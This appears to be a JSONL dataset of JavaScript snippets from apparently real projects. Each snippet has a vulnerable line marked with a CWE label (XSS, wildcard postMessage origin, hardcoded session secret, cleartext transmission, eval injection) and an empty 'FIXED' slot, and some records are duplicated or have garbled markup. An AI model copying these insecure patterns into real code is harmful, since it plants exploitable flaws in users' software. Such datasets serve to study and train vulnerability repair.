\"0px\");\n\n body.append(quickSearch);\n\n $(window).on(\"message\", function(msg) {\n var msgData = msg.originalEvent.data;\n\n if (msgData.msgid != \"docstrap.quicksearch.done\") {\n return;\n }\n\n var results = msgData.results || [];\n\n self._displaySearchResults(results);\n });\n\n function startSearch() {\n var searchTerms = $('#search-input').prop(\"value\");\n if (searchTerms) {\n \n// BUG: CWE-345: Insufficient Verification of Data Authenticity\n// quickSearch[0].contentWindow.postMessage({ \"searchTerms\": searchTerms, \"msgid\": \"docstrap.quicksearch.start\" }, \"*\");\n// FIXED: \n\n \n\n }\n }\n\n $('#search-input').on('keyup', function(evt) {\n if (evt.keyCode != 13) {\n return;\n }\n startSearch();\n return false;\n });\n $('#search-submit').on('click', function() {\n startSearch();\n return false;\n });\n };\n\n /**\n * This method displays the quick text search results in a modal dialog.\n */\n SearcherDisplay.prototype._displaySearchResults = function(results) {\n var resultsHolder = $($(\"#searchResults\").find(\".modal-body\")),\n fragment = document.createDocumentFragment(),\n resultsList = document.createElement(\"ul\");\n\n resultsHolder.empty();\n\n for (var idx = 0; idx < results.length; idx++) {\n var result = results[idx],\n item = document.createElement(\"li\"),\n link = document.createElement(\"a\");\n\n link.href = result.id;\n link.innerHTML = result.title;\n\n item.appendChild(link)\n resultsList.appendChild(item);\n }\n\n fragment.appendChild(resultsList);\n resultsHolder.append(fragment);\n\n $(\"#searchResults\").modal({\"show\": true});\n };\n\n return new SearcherDisplay();\n})($);\n"} {"language": "javascript", "text": "/*\nDEADLOCK\nVersion EX\n*/\n\nimport * as mylib from './mylib.js';\nimport express from 'express';\nimport { Mutex } from 'async-mutex';\n\n\nconst createServer = () => {\n const app = express();\n const mutex = new Mutex();\n\n const doTask = async name => {\n const release = await mutex.acquire();\n try {\n console.log(`Server: ${name} acquired resource`);\n } finally {\n // release(); // Forget this statement ==> deadlock\n }\n };\n\n app.get('/', async (req, res) => {\n const name = req.query.name;\n await doTask(name);\n res.status(200).setHeader('Content-Type', 'text/html');\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(name).end();\n// FIXED: \n\n \n\n });\n\n const server = app.listen(8081);\n return server;\n};\n\n\nconst runClient = async () => {\n const respFoo = await mylib.makeHttpGet(new URL('http://localhost:8081/?name=foo'));\n console.log(`Client: response: ${respFoo}`);\n\n const respBar = await mylib.makeHttpGet(new URL('http://localhost:8081/?name=bar'));\n\n console.log('You will never see this statement due to deadlock!');\n\n console.log(`Client: response: ${respBar}`);\n};\n\n\nconst server = createServer();\nawait runClient();\nserver.close();\n"} {"language": "javascript", "text": "const bodyParser = require('body-parser');\nconst path = require('path');\nconst session = require('express-session');\nconst morgan = require('morgan');\n\nconst config = require('../../webpack.config.js');\nconst webpack = require('webpack');\nconst webpackDevMiddleware = require('webpack-dev-middleware');\nconst webpackHotMiddleware = require('webpack-hot-middleware');\nconst compiler = webpack(config);\n\nmodule.exports = (app, express) => {\n app.use(webpackDevMiddleware(compiler, { noInfo: true, publicPath: config.output.publicPath }));\n app.use(webpackHotMiddleware(compiler));\n app.use(morgan('dev'));\n app.use(bodyParser.urlencoded({ extended: true }));\n app.use(bodyParser.json());\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// app.use(session({ secret: 'fred', resave: false, saveUninitialized: false }));\n// FIXED: \n\n \n\n app.use(express.static(path.join(`${__dirname}./../../dist`)));\n};\n"} {"language": "javascript", "text": "function getAllEmployees() {\n console.log(\"Fetch all employees\");\n //returns a pending promise\n fetch(\"http://localhost:3000/employees\")\n .then((response) => {\n if (response.status === 200) {\n return response.json();\n }\n })\n .then((employees) => {\n //fill the table with the data\n let tbody = document\n .getElementById(\"employeeList\")\n .getElementsByTagName(\"tbody\")[0];\n let tbodyhtml = \"\";\n employees.forEach((employee) => {\n tbodyhtml += `${employee.id}\n ${employee.empName}\n ${employee.email}\n \n `;\n });\n tbody.innerHTML = tbodyhtml;\n })\n .catch((error) => {\n console.log(error);\n });\n}\n\ngetAllEmployees();\n\nfunction addEmployee() {\n let name = document.getElementById(\"name\").value;\n let email = document.getElementById(\"email\").value;\n let newEmp = {\n empName: name,\n email: email,\n };\n //post\n\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// fetch(\"http://localhost:3000/employees\", { method: \"POST\", headers: { \"Content-type\": \"application/json\", }, body: JSON.stringify(newEmp), })\n// FIXED: \n\n \n\n .then((response) => {\n //201 for post\n if (response.status === 201) {\n console.log(\"data added\");\n getAllEmployees();\n }\n })\n .catch((error) => {\n console.log(error);\n });\n}\nfunction getEmployeeById(id) {\n fetch(`http://localhost:3000/employees/${id}`)\n .then((response) => {\n if (response.status === 200) {\n return response.json();\n }\n })\n .then((employee) => {\n document.getElementById(\"empId\").value = employee.id;\n document.getElementById(\"empName\").value = employee.empName;\n document.getElementById(\"empEmail\").value = employee.email;\n })\n .catch((error) => {\n console.log(error);\n });\n}\n\nfunction editEmployee() {\n let empId = document.getElementById(\"empId\").value;\n let empName = document.getElementById(\"empName\").value;\n let email = document.getElementById(\"empEmail\").value;\n\n fetch(`http://localhost:3000/employees/${empId}`, {\n method: \"PUT\",\n body: JSON.stringify({\n empName: empName,\n email: email,\n }),\n headers: {\n \"Content-type\": \"application/json\",\n },\n })\n .then((response) => {\n if (response === 200) {\n getAllEmployees();\n }\n })\n .then((employee) => {\n document.getElementById(\"empId\").value = employee.id;\n document.getElementById(\"empName\").value = employee.empName;\n document.getElementById(\"empEmail\").value = employee.email;\n })\n .catch((error) => {\n console.log(error);\n });\n}\n//Delete functionality to be implemented\n"} {"language": "javascript", "text": "var ctx = require('./_ctx');\nvar invoke = require('./_invoke');\nvar html = require('./_html');\nvar cel = require('./_dom-create');\nvar global = require('./_global');\nvar process = global.process;\nvar setTask = global.setImmediate;\nvar clearTask = global.clearImmediate;\nvar MessageChannel = global.MessageChannel;\nvar Dispatch = global.Dispatch;\nvar counter = 0;\nvar queue = {};\nvar ONREADYSTATECHANGE = 'onreadystatechange';\nvar defer, channel, port;\nvar run = function () {\n var id = +this;\n // eslint-disable-next-line no-prototype-builtins\n if (queue.hasOwnProperty(id)) {\n var fn = queue[id];\n delete queue[id];\n fn();\n }\n};\nvar listener = function (event) {\n run.call(event.data);\n};\n// Node.js 0.9+ & IE10+ has setImmediate, otherwise:\nif (!setTask || !clearTask) {\n setTask = function setImmediate(fn) {\n var args = [];\n var i = 1;\n while (arguments.length > i) args.push(arguments[i++]);\n queue[++counter] = function () {\n // eslint-disable-next-line no-new-func\n invoke(typeof fn == 'function' ? fn : Function(fn), args);\n };\n defer(counter);\n return counter;\n };\n clearTask = function clearImmediate(id) {\n delete queue[id];\n };\n // Node.js 0.8-\n if (require('./_cof')(process) == 'process') {\n defer = function (id) {\n process.nextTick(ctx(run, id, 1));\n };\n // Sphere (JS game engine) Dispatch API\n } else if (Dispatch && Dispatch.now) {\n defer = function (id) {\n Dispatch.now(ctx(run, id, 1));\n };\n // Browsers with MessageChannel, includes WebWorkers\n } else if (MessageChannel) {\n channel = new MessageChannel();\n port = channel.port2;\n channel.port1.onmessage = listener;\n defer = ctx(port.postMessage, port, 1);\n // Browsers with postMessage, skip WebWorkers\n // IE8 has postMessage, but it's sync & typeof its postMessage is 'object'\n } else if (global.addEventListener && typeof postMessage == 'function' && !global.importScripts) {\n defer = function (id) {\n \n// BUG: CWE-345: Insufficient Verification of Data Authenticity\n// global.postMessage(id + '', '*');\n// FIXED: \n\n \n\n };\n global.addEventListener('message', listener, false);\n // IE8-\n } else if (ONREADYSTATECHANGE in cel('script')) {\n defer = function (id) {\n html.appendChild(cel('script'))[ONREADYSTATECHANGE] = function () {\n html.removeChild(this);\n run.call(id);\n };\n };\n // Rest old browsers\n } else {\n defer = function (id) {\n setTimeout(ctx(run, id, 1), 0);\n };\n }\n}\nmodule.exports = {\n set: setTask,\n clear: clearTask\n};\n"} {"language": "javascript", "text": "// Kludge in HTML5 tag recognition in IE8\ndocument.createElement(\"section\");\ndocument.createElement(\"article\");\n\n(function() {\n if (!window.addEventListener) return;\n var pending = false, prevVal = null;\n\n function updateSoon() {\n if (!pending) {\n pending = true;\n setTimeout(update, 250);\n }\n }\n\n function update() {\n pending = false;\n var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"), found;\n for (var i = 0; i < marks.length; ++i) {\n var mark = marks[i], m;\n if (mark.getAttribute(\"data-default\")) {\n if (found == null) found = i;\n } else if (m = mark.href.match(/#(.*)/)) {\n var ref = document.getElementById(m[1]);\n if (ref && ref.getBoundingClientRect().top < 50)\n found = i;\n }\n }\n if (found != null && found != prevVal) {\n prevVal = found;\n var lis = document.getElementById(\"nav\").getElementsByTagName(\"li\");\n for (var i = 0; i < lis.length; ++i) lis[i].className = \"\";\n for (var i = 0; i < marks.length; ++i) {\n if (found == i) {\n marks[i].className = \"active\";\n for (var n = marks[i]; n; n = n.parentNode)\n if (n.nodeName == \"LI\") n.className = \"active\";\n } else {\n marks[i].className = \"\";\n }\n }\n }\n }\n\n window.addEventListener(\"scroll\", updateSoon);\n window.addEventListener(\"load\", updateSoon);\n window.addEventListener(\"hashchange\", function() {\n \n// BUG: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\n// setTimeout(function() { var hash = document.location.hash, found = null, m; var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"); for (var i = 0; i < marks.length; i++) if ((m = marks[i].href.match(/(#.*)/)) && m[1] == hash) { found = i; break; } if (found != null) for (var i = 0; i < marks.length; i++) marks[i].className = i == found ? \"active\" : \"\"; }, 300);\n// FIXED: \n\n \n\n });\n})();\n"} {"language": "javascript", "text": "var express = require('express');\nvar fs = require('fs');\nvar io = require('socket.io');\nvar _ = require('underscore');\nvar Mustache = require('mustache');\n\nvar app = express.createServer();\nvar staticDir = express.static;\n\nio = io.listen(app);\n\nvar opts = {\n\tport : 1947,\n\tbaseDir : __dirname + '/../../'\n};\n\nio.sockets.on('connection', function(socket) {\n\tsocket.on('slidechanged', function(slideData) {\n\t\tsocket.broadcast.emit('slidedata', slideData);\n\t});\n\tsocket.on('fragmentchanged', function(fragmentData) {\n\t\tsocket.broadcast.emit('fragmentdata', fragmentData);\n\t});\n});\n\napp.configure(function() {\n\t[ 'css', 'js', 'images', 'plugin', 'lib' ].forEach(function(dir) {\n\t\tapp.use('/' + dir, staticDir(opts.baseDir + dir));\n\t});\n});\n\napp.get(\"/\", function(req, res) {\n\tres.writeHead(200, {'Content-Type': 'text/html'});\n\tfs.createReadStream(opts.baseDir + '/index.html').pipe(res);\n});\n\napp.get(\"/notes/:socketId\", function(req, res) {\n\n\tfs.readFile(opts.baseDir + 'plugin/notes-server/notes.html', function(err, data) {\n\t\t\n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(Mustache.to_html(data.toString(), {\t\t\tsocketId : req.params.socketId\t\t}));\n// FIXED: \n\n \n\n\t});\n\t// fs.createReadStream(opts.baseDir + 'notes-server/notes.html').pipe(res);\n});\n\n// Actually listen\napp.listen(opts.port || null);\n\nvar brown = '\\033[33m',\n\tgreen = '\\033[32m',\n\treset = '\\033[0m';\n\nvar slidesLocation = \"http://localhost\" + ( opts.port ? ( ':' + opts.port ) : '' );\n\nconsole.log( brown + \"reveal.js - Speaker Notes\" + reset );\nconsole.log( \"1. Open the slides at \" + green + slidesLocation + reset );\nconsole.log( \"2. Click on the link your JS console to go to the notes page\" );\nconsole.log( \"3. Advance through your slides and your notes will advance automatically\" );\n"} {"language": "javascript", "text": "/*\nUSERNAME HASH PROBLEM\n\nEach time users send requests to hash, threads are created.\nConstantly taking requests and creating new threads is a matter of concern.\n\nBy using Execution Service/Thread Pool, threads can be reused for next tasks/next requests\n(i.e. no more thread creation).\n*/\n\nimport * as mylib from './mylib.js';\nimport { isMainThread } from 'worker_threads';\nimport { Piscina } from 'piscina';\nimport express from 'express';\nimport { getHash, splitStrInToChunks } from './exerex-userhash-util.js';\n\n\n//---------------------------------------------\n// WORKER THREAD SECTION\n//---------------------------------------------\n\n\nexport const workerFunc = ({idx, chunk}) => {\n try {\n const chunkHash = getHash(2**21, chunk);\n return chunkHash;\n } catch (error) {\n console.error(error);\n }\n};\n\n\n//---------------------------------------------\n// MAIN THREAD SECTION\n//---------------------------------------------\n\n\nconst getSuperHashByMain = async (execService, plainText) => {\n const numChunks = 8; // It is also the number of threads\n\n const lstChunks = splitStrInToChunks(numChunks, plainText);\n const lstWorkerProm = [];\n\n for (let i = 0; i < numChunks; ++i) {\n const chunk = lstChunks[i];\n lstWorkerProm.push(execService.run({ idx: i, chunk: chunk }, { name: 'workerFunc' }));\n }\n\n const lstHashes = await Promise.all(lstWorkerProm);\n const finalHash = getHash(1, lstHashes.join(''));\n return finalHash;\n};\n\n\nconst mainFunc = () => {\n const PORT = 8081;\n const app = express();\n const userNameHistory = [];\n\n const execService = new Piscina({\n filename: new URL(import.meta.url).href,\n minThreads: 8,\n maxThreads: 8\n });\n\n app.get('/history', async (req, res) => {\n const html = userNameHistory.join('
') || '<Empty history>';\n res.status(200).send(html).end();\n });\n\n app.get('/', async (req, res) => {\n const userName = req.query.name;\n if (!userName) {\n res.status(400).end();\n return;\n }\n userNameHistory.push(userName);\n\n const tpStart = process.hrtime();\n\n // GET USERNAME HASH\n const userNameHash = await getSuperHashByMain(execService, userName);\n\n const timeElapsed = mylib.hrtimeToNumber(process.hrtime(tpStart));\n console.log(`userName = ${userName}; Time elapsed = ${timeElapsed}`);\n\n const html = userName + '
' + userNameHash;\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.status(200).setHeader('Content-Type', 'text/html').send(html).end();\n// FIXED: \n\n \n\n });\n\n console.log('Server is listening on port', PORT);\n const server = app.listen(PORT);\n};\n\n\nif (isMainThread) {\n try {\n mainFunc();\n } catch (error) {\n console.error(error);\n }\n}\n"} {"language": "javascript", "text": "/**\n * Handles opening of and synchronization with the reveal.js\n * notes window.\n */\nvar RevealNotes = (function() {\n\n\tfunction openNotes() {\n\t\tvar jsFileLocation = document.querySelector('script[src$=\"notes.js\"]').src; // this js file path\n\t\tjsFileLocation = jsFileLocation.replace(/notes\\.js(\\?.*)?$/, ''); // the js folder path\n\t\tvar notesPopup = window.open( jsFileLocation + 'notes.html', 'reveal.js - Notes', 'width=1120,height=850' );\n\n\t\t// Fires when slide is changed\n\t\tReveal.addEventListener( 'slidechanged', post );\n\n\t\t// Fires when a fragment is shown\n\t\tReveal.addEventListener( 'fragmentshown', post );\n\n\t\t// Fires when a fragment is hidden\n\t\tReveal.addEventListener( 'fragmenthidden', post );\n\n\t\t/**\n\t\t * Posts the current slide data to the notes window\n\t\t */\n\t\tfunction post() {\n\t\t\tvar slideElement = Reveal.getCurrentSlide(),\n\t\t\t\tslideIndices = Reveal.getIndices(),\n\t\t\t\tmessageData;\n\n\t\t\tvar notes = slideElement.querySelector( 'aside.notes' ),\n\t\t\t\tnextindexh,\n\t\t\t\tnextindexv;\n\n\t\t\tif( slideElement.nextElementSibling && slideElement.parentNode.nodeName == 'SECTION' ) {\n\t\t\t\tnextindexh = slideIndices.h;\n\t\t\t\tnextindexv = slideIndices.v + 1;\n\t\t\t} else {\n\t\t\t\tnextindexh = slideIndices.h + 1;\n\t\t\t\tnextindexv = 0;\n\t\t\t}\n\n\t\t\tmessageData = {\n\t\t\t\tnotes : notes ? notes.innerHTML : '',\n\t\t\t\tindexh : slideIndices.h,\n\t\t\t\tindexv : slideIndices.v,\n\t\t\t\tindexf : slideIndices.f,\n\t\t\t\tnextindexh : nextindexh,\n\t\t\t\tnextindexv : nextindexv,\n\t\t\t\tmarkdown : notes ? typeof notes.getAttribute( 'data-markdown' ) === 'string' : false\n\t\t\t};\n\n\t\t\t\n// BUG: CWE-345: Insufficient Verification of Data Authenticity\n// notesPopup.postMessage( JSON.stringify( messageData ), '*' );\n// FIXED: \n\n \n\n\t\t}\n\n\t\t// Navigate to the current slide when the notes are loaded\n\t\tnotesPopup.addEventListener( 'load', function( event ) {\n\t\t\tpost();\n\t\t}, false );\n\t}\n\n\t// If the there's a 'notes' query set, open directly\n\tif( window.location.search.match( /(\\?|\\&)notes/gi ) !== null ) {\n\t\topenNotes();\n\t}\n\n\t// Open the notes when the 's' key is hit\n\tdocument.addEventListener( 'keydown', function( event ) {\n\t\t// Disregard the event if the target is editable or a\n\t\t// modifier is present\n\t\tif ( document.querySelector( ':focus' ) !== null || event.shiftKey || event.altKey || event.ctrlKey || event.metaKey ) return;\n\n\t\tif( event.keyCode === 83 ) {\n\t\t\tevent.preventDefault();\n\t\t\topenNotes();\n\t\t}\n\t}, false );\n\n\treturn { open: openNotes };\n})();\n"} {"language": "javascript", "text": "const bodyParser = require('body-parser');\nconst path = require('path');\nconst session = require('express-session');\nconst morgan = require('morgan');\n\nconst config = require('../../webpack.config.js');\nconst webpack = require('webpack');\nconst webpackDevMiddleware = require('webpack-dev-middleware');\nconst webpackHotMiddleware = require('webpack-hot-middleware');\nconst compiler = webpack(config);\n\nmodule.exports = (app, express) => {\n app.use(webpackDevMiddleware(compiler, { noInfo: true, publicPath: config.output.publicPath }));\n app.use(webpackHotMiddleware(compiler));\n app.use(morgan('dev'));\n app.use(bodyParser.urlencoded({ extended: true }));\n app.use(bodyParser.json());\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// app.use(session({ secret: 'fred', resave: false, saveUninitialized: false }));\n// FIXED: \n\n \n\n app.use(express.static(path.join(`${__dirname}./../../dist`)));\n};\n"} {"language": "javascript", "text": "/*\nUSERNAME HASH PROBLEM\n\nAlthough the problem is solved in previous solution, the calculation speed keeps too slow.\n\nAnalyze the Hash Task and you realize that\nthis task can be divided into multiple individual sub tasks.\nEach sub task is corresponding to hashing one chunk.\n\nHence, multithreading makes sense: Each thread does each sub task in parallel.\n*/\n\nimport * as mylib from './mylib.js';\nimport { isMainThread, workerData, parentPort } from 'worker_threads';\nimport express from 'express';\nimport { getHash, splitStrInToChunks } from './exerex-userhash-util.js';\n\n\n//---------------------------------------------\n// WORKER THREAD SECTION\n//---------------------------------------------\n\n\nexport const workerFunc = () => {\n try {\n const [idx, chunk] = workerData;\n const chunkHash = getHash(2**21, chunk);\n parentPort.postMessage([idx, chunkHash]);\n } catch (error) {\n console.error(error);\n }\n};\n\n\n//---------------------------------------------\n// MAIN THREAD SECTION\n//---------------------------------------------\n\n\nconst getSuperHashByMain = async (plainText) => {\n const numChunks = 8; // It is also the number of threads\n\n const lstChunks = splitStrInToChunks(numChunks, plainText);\n const lstHashes = new Array(numChunks);\n\n const lstWorkerProm = [];\n\n for (let i = 0; i < numChunks; ++i) {\n const chunk = lstChunks[i];\n const [worker, prom] = mylib.createThread(new URL(import.meta.url), [i, chunk]);\n worker.on('message', ([idx, chunkHash]) => lstHashes[idx] = chunkHash);\n lstWorkerProm.push(prom);\n }\n\n await Promise.all(lstWorkerProm);\n const finalHash = getHash(1, lstHashes.join(''));\n return finalHash;\n};\n\n\nconst mainFunc = () => {\n const PORT = 8081;\n const app = express();\n const userNameHistory = [];\n\n app.get('/history', async (req, res) => {\n const html = userNameHistory.join('
') || '<Empty history>';\n res.status(200).send(html).end();\n });\n\n app.get('/', async (req, res) => {\n const userName = req.query.name;\n if (!userName) {\n res.status(400).end();\n return;\n }\n userNameHistory.push(userName);\n\n const tpStart = process.hrtime();\n\n // GET USERNAME HASH\n const userNameHash = await getSuperHashByMain(userName);\n\n const timeElapsed = mylib.hrtimeToNumber(process.hrtime(tpStart));\n console.log(`userName = ${userName}; Time elapsed = ${timeElapsed}`);\n\n const html = userName + '
' + userNameHash;\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.status(200).setHeader('Content-Type', 'text/html').send(html).end();\n// FIXED: \n\n \n\n });\n\n console.log('Server is listening on port', PORT);\n const server = app.listen(PORT);\n};\n\n\nif (isMainThread) {\n try {\n mainFunc();\n } catch (error) {\n console.error(error);\n }\n} else {\n workerFunc();\n}\n"} {"language": "javascript", "text": "const bodyParser = require('body-parser');\nconst path = require('path');\nconst session = require('express-session');\nconst morgan = require('morgan');\n\nconst config = require('../../webpack.config.js');\nconst webpack = require('webpack');\nconst webpackDevMiddleware = require('webpack-dev-middleware');\nconst webpackHotMiddleware = require('webpack-hot-middleware');\nconst compiler = webpack(config);\n\nmodule.exports = (app, express) => {\n app.use(webpackDevMiddleware(compiler, { noInfo: true, publicPath: config.output.publicPath }));\n app.use(webpackHotMiddleware(compiler));\n app.use(morgan('dev'));\n app.use(bodyParser.urlencoded({ extended: true }));\n app.use(bodyParser.json());\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// app.use(session({ secret: 'fred', resave: false, saveUninitialized: false }));\n// FIXED: \n\n \n\n app.use(express.static(path.join(`${__dirname}./../../dist`)));\n};\n"} {"language": "javascript", "text": "// Kludge in HTML5 tag recognition in IE8\ndocument.createElement(\"section\");\ndocument.createElement(\"article\");\n\n(function() {\n if (!window.addEventListener) return;\n var pending = false, prevVal = null;\n\n function updateSoon() {\n if (!pending) {\n pending = true;\n setTimeout(update, 250);\n }\n }\n\n function update() {\n pending = false;\n var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"), found;\n for (var i = 0; i < marks.length; ++i) {\n var mark = marks[i], m;\n if (mark.getAttribute(\"data-default\")) {\n if (found == null) found = i;\n } else if (m = mark.href.match(/#(.*)/)) {\n var ref = document.getElementById(m[1]);\n if (ref && ref.getBoundingClientRect().top < 50)\n found = i;\n }\n }\n if (found != null && found != prevVal) {\n prevVal = found;\n var lis = document.getElementById(\"nav\").getElementsByTagName(\"li\");\n for (var i = 0; i < lis.length; ++i) lis[i].className = \"\";\n for (var i = 0; i < marks.length; ++i) {\n if (found == i) {\n marks[i].className = \"active\";\n for (var n = marks[i]; n; n = n.parentNode)\n if (n.nodeName == \"LI\") n.className = \"active\";\n } else {\n marks[i].className = \"\";\n }\n }\n }\n }\n\n window.addEventListener(\"scroll\", updateSoon);\n window.addEventListener(\"load\", updateSoon);\n window.addEventListener(\"hashchange\", function() {\n \n// BUG: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\n// setTimeout(function() { var hash = document.location.hash, found = null, m; var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"); for (var i = 0; i < marks.length; i++) if ((m = marks[i].href.match(/(#.*)/)) && m[1] == hash) { found = i; break; } if (found != null) for (var i = 0; i < marks.length; i++) marks[i].className = i == found ? \"active\" : \"\"; }, 300);\n// FIXED: \n\n \n\n });\n})();\n"} {"language": "javascript", "text": "// Copyright (c) Microsoft Corporation. All rights reserved.\n// Licensed under the MIT license.\n\nimport { Button } from '@fluentui/react-components';\nimport { Session } from './controller';\nimport { galleryItems } from './galleryItems';\nimport { Open24Regular } from '@fluentui/react-icons';\n\nexport function Gallery() {\n return (\n \n \n Gallery\n \n {galleryItems.map((g, i) => (\n
\n
\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n//
\n// FIXED: \n\n \n\n
\n }\n style={{\n marginLeft: 10,\n marginBottom: 10,\n }}\n onClick={() => {\n const url = window.location.origin + window.location.pathname + '#create';\n const editor = window.open(url);\n if (!editor)\n return;\n\n const wait = 10_000;\n const step = 250;\n const { origin } = new URL(url);\n // eslint-disable-next-line no-bitwise\n let count = ~~(wait / step);\n\n function listen(evt: MessageEvent) {\n if (evt.source === editor) {\n count = 0;\n window.removeEventListener('message', listen, false);\n }\n }\n window.addEventListener('message', listen, false);\n\n // send message\n // periodically resend until ack received or timeout\n function send() {\n if (!editor || count <= 0) {\n return;\n }\n const session: Session = {\n source: 'vistalk',\n data: g.data,\n input: g.input,\n };\n editor.postMessage(session, origin);\n setTimeout(send, step);\n count -= 1;\n }\n setTimeout(send, step);\n }}\n >\n Open\n \n
\n
\n ))}\n \n );\n}\n"} {"language": "javascript", "text": "const bodyParser = require('body-parser');\nconst path = require('path');\nconst session = require('express-session');\nconst morgan = require('morgan');\n\nconst config = require('../../webpack.config.js');\nconst webpack = require('webpack');\nconst webpackDevMiddleware = require('webpack-dev-middleware');\nconst webpackHotMiddleware = require('webpack-hot-middleware');\nconst compiler = webpack(config);\n\nmodule.exports = (app, express) => {\n app.use(webpackDevMiddleware(compiler, { noInfo: true, publicPath: config.output.publicPath }));\n app.use(webpackHotMiddleware(compiler));\n app.use(morgan('dev'));\n app.use(bodyParser.urlencoded({ extended: true }));\n app.use(bodyParser.json());\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// app.use(session({ secret: 'fred', resave: false, saveUninitialized: false }));\n// FIXED: \n\n \n\n app.use(express.static(path.join(`${__dirname}./../../dist`)));\n};\n"} {"language": "javascript", "text": "// Kludge in HTML5 tag recognition in IE8\ndocument.createElement(\"section\");\ndocument.createElement(\"article\");\n\n(function() {\n if (!window.addEventListener) return;\n var pending = false, prevVal = null;\n\n function updateSoon() {\n if (!pending) {\n pending = true;\n setTimeout(update, 250);\n }\n }\n\n function update() {\n pending = false;\n var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"), found;\n for (var i = 0; i < marks.length; ++i) {\n var mark = marks[i], m;\n if (mark.getAttribute(\"data-default\")) {\n if (found == null) found = i;\n } else if (m = mark.href.match(/#(.*)/)) {\n var ref = document.getElementById(m[1]);\n if (ref && ref.getBoundingClientRect().top < 50)\n found = i;\n }\n }\n if (found != null && found != prevVal) {\n prevVal = found;\n var lis = document.getElementById(\"nav\").getElementsByTagName(\"li\");\n for (var i = 0; i < lis.length; ++i) lis[i].className = \"\";\n for (var i = 0; i < marks.length; ++i) {\n if (found == i) {\n marks[i].className = \"active\";\n for (var n = marks[i]; n; n = n.parentNode)\n if (n.nodeName == \"LI\") n.className = \"active\";\n } else {\n marks[i].className = \"\";\n }\n }\n }\n }\n\n window.addEventListener(\"scroll\", updateSoon);\n window.addEventListener(\"load\", updateSoon);\n window.addEventListener(\"hashchange\", function() {\n \n// BUG: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\n// setTimeout(function() { var hash = document.location.hash, found = null, m; var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"); for (var i = 0; i < marks.length; i++) if ((m = marks[i].href.match(/(#.*)/)) && m[1] == hash) { found = i; break; } if (found != null) for (var i = 0; i < marks.length; i++) marks[i].className = i == found ? \"active\" : \"\"; }, 300);\n// FIXED: \n\n \n\n });\n})();\n"} {"language": "javascript", "text": "/**\n * Handles opening of and synchronization with the reveal.js\n * notes window.\n */\nvar RevealNotes = (function() {\n\n\tfunction openNotes() {\n\t\tvar jsFileLocation = document.querySelector('script[src$=\"notes.js\"]').src; // this js file path\n\t\tjsFileLocation = jsFileLocation.replace(/notes\\.js(\\?.*)?$/, ''); // the js folder path\n\t\tvar notesPopup = window.open( jsFileLocation + 'notes.html', 'reveal.js - Notes', 'width=1120,height=850' );\n\n\t\t// Fires when slide is changed\n\t\tReveal.addEventListener( 'slidechanged', post );\n\n\t\t// Fires when a fragment is shown\n\t\tReveal.addEventListener( 'fragmentshown', post );\n\n\t\t// Fires when a fragment is hidden\n\t\tReveal.addEventListener( 'fragmenthidden', post );\n\n\t\t/**\n\t\t * Posts the current slide data to the notes window\n\t\t */\n\t\tfunction post() {\n\t\t\tvar slideElement = Reveal.getCurrentSlide(),\n\t\t\t\tslideIndices = Reveal.getIndices(),\n\t\t\t\tmessageData;\n\n\t\t\tvar notes = slideElement.querySelector( 'aside.notes' ),\n\t\t\t\tnextindexh,\n\t\t\t\tnextindexv;\n\n\t\t\tif( slideElement.nextElementSibling && slideElement.parentNode.nodeName == 'SECTION' ) {\n\t\t\t\tnextindexh = slideIndices.h;\n\t\t\t\tnextindexv = slideIndices.v + 1;\n\t\t\t} else {\n\t\t\t\tnextindexh = slideIndices.h + 1;\n\t\t\t\tnextindexv = 0;\n\t\t\t}\n\n\t\t\tmessageData = {\n\t\t\t\tnotes : notes ? notes.innerHTML : '',\n\t\t\t\tindexh : slideIndices.h,\n\t\t\t\tindexv : slideIndices.v,\n\t\t\t\tindexf : slideIndices.f,\n\t\t\t\tnextindexh : nextindexh,\n\t\t\t\tnextindexv : nextindexv,\n\t\t\t\tmarkdown : notes ? typeof notes.getAttribute( 'data-markdown' ) === 'string' : false\n\t\t\t};\n\n\t\t\t\n// BUG: CWE-345: Insufficient Verification of Data Authenticity\n// notesPopup.postMessage( JSON.stringify( messageData ), '*' );\n// FIXED: \n\n \n\n\t\t}\n\n\t\t// Navigate to the current slide when the notes are loaded\n\t\tnotesPopup.addEventListener( 'load', function( event ) {\n\t\t\tpost();\n\t\t}, false );\n\t}\n\n\t// If the there's a 'notes' query set, open directly\n\tif( window.location.search.match( /(\\?|\\&)notes/gi ) !== null ) {\n\t\topenNotes();\n\t}\n\n\t// Open the notes when the 's' key is hit\n\tdocument.addEventListener( 'keydown', function( event ) {\n\t\t// Disregard the event if the target is editable or a\n\t\t// modifier is present\n\t\tif ( document.querySelector( ':focus' ) !== null || event.shiftKey || event.altKey || event.ctrlKey || event.metaKey ) return;\n\n\t\tif( event.keyCode === 83 ) {\n\t\t\tevent.preventDefault();\n\t\t\topenNotes();\n\t\t}\n\t}, false );\n\n\treturn { open: openNotes };\n})();\n"} {"language": "javascript", "text": "// Copyright (c) Microsoft Corporation. All rights reserved.\n// Licensed under the MIT license.\n\nimport { Button } from '@fluentui/react-components';\nimport { Session } from './controller';\nimport { galleryItems } from './galleryItems';\nimport { Open24Regular } from '@fluentui/react-icons';\n\nexport function Gallery() {\n return (\n \n \n Gallery\n \n {galleryItems.map((g, i) => (\n
\n \n \n\n >
\n
\n
